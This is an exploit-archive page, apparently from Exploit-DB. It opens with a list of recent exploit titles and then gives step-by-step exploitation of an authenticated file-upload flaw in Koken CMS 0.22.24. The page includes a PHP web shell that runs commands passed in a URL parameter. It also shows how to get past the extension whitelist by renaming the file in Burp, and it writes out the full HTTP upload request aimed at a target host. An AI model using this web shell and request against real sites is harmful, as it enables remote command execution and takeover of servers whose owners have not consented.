
32 changes to exploits/shellcodes Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite) Nidesoft DVD Ripper 5.2.18 - Local Buffer Overflow (SEH) Frigate Professional 3.36.0.9 - 'Pack File' Buffer Overflow (SEH Egghunter) DiskBoss 7.7.14 - 'Reports and Data Directory' Buffer Overflow (SEH Egghunter) Socusoft Photo to Video Converter Professional 8.07 - 'Output Folder' Buffer Overflow (SEH Egghunter) Port Forwarding Wizard 4.8.0 - Buffer Overflow (SEH) Free MP3 CD Ripper 2.8 - Stack Buffer Overflow (SEH + Egghunter) docPrint Pro 8.0 - 'Add URL' Buffer Overflow (SEH Egghunter) GOautodial 4.0 - Persistent Cross-Site Scripting (Authenticated) ManageEngine Applications Manager 13 - 'MenuHandlerServlet' SQL Injection INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution UBICOD Medivision Digital Signage 1.5.1 - Cross-Site Request Forgery (Add Admin) WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download WordPress Plugin Email Subscribers & Newsletters 4.2.2 - 'hash' SQL Injection (Unauthenticated) Bludit 3.9.2 - Directory Traversal LibreHealth 2.0.0 - Authenticated Remote Code Execution Online Course Registration 1.0 - Unauthenticated Remote Code Execution elaniin CMS - Authentication Bypass Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated) PandoraFMS 7.0 NG 746 - Persistent Cross-Site Scripting Bio Star 2.8.2 - Local File Inclusion Webtareas 2.1p - Arbitrary File Upload (Authenticated) F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion Sickbeard 0.1 - Cross-Site Request Forgery (Disable Authentication) Socket.io-file 2.0.31 - Arbitrary File Upload pfSense 2.4.4-p3 - Cross-Site Request Forgery Virtual Airlines Manager 2.6.2 - Persistent Cross-Site Scripting Rails 5.0.1 - Remote Code Execution Linux/x86 - ASLR deactivation polymorphic Shellcode (124 bytes) Linux/x86 - Egghunter(0x50905090) + sigaction + execve(/bin/sh) Shellcode (35 bytes) Windows/x86 - Download using mshta.exe Shellcode (100 bytes)
76 lines
No EOL
2.4 KiB
Text
76 lines
No EOL
2.4 KiB
Text
# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
|
|
# Date: 2020-07-15
|
|
# Exploit Author: v1n1v131r4
|
|
# Vendor Homepage: http://koken.me/
|
|
# Software Link: https://www.softaculous.com/apps/cms/Koken
|
|
# Version: 0.22.24
|
|
# Tested on: Linux
|
|
# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md
|
|
|
|
The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.
|
|
|
|
Steps to exploit:
|
|
|
|
1. Create a malicious PHP file with this content:
|
|
|
|
<?php system($_GET['cmd']);?>
|
|
|
|
2. Save as "image.php.jpg"
|
|
|
|
3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.
|
|
|
|
4. On Burp, rename your file to "image.php"
|
|
|
|
|
|
POST /koken/api.php?/content HTTP/1.1
|
|
Host: target.com
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: https://target.com/koken/admin/
|
|
x-koken-auth: cookie
|
|
Content-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551
|
|
Content-Length: 1043
|
|
Connection: close
|
|
Cookie: PHPSESSID= [Cookie value here]
|
|
|
|
-----------------------------2391361183188899229525551
|
|
Content-Disposition: form-data; name="name"
|
|
|
|
image.php
|
|
-----------------------------2391361183188899229525551
|
|
Content-Disposition: form-data; name="chunk"
|
|
|
|
0
|
|
-----------------------------2391361183188899229525551
|
|
Content-Disposition: form-data; name="chunks"
|
|
|
|
1
|
|
-----------------------------2391361183188899229525551
|
|
Content-Disposition: form-data; name="upload_session_start"
|
|
|
|
1594831856
|
|
-----------------------------2391361183188899229525551
|
|
Content-Disposition: form-data; name="visibility"
|
|
|
|
public
|
|
-----------------------------2391361183188899229525551
|
|
Content-Disposition: form-data; name="license"
|
|
|
|
all
|
|
-----------------------------2391361183188899229525551
|
|
Content-Disposition: form-data; name="max_download"
|
|
|
|
none
|
|
-----------------------------2391361183188899229525551
|
|
Content-Disposition: form-data; name="file"; filename="image.php"
|
|
Content-Type: image/jpeg
|
|
|
|
<?php system($_GET['cmd']);?>
|
|
|
|
-----------------------------2391361183188899229525551--
|
|
|
|
|
|
|
|
5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server. |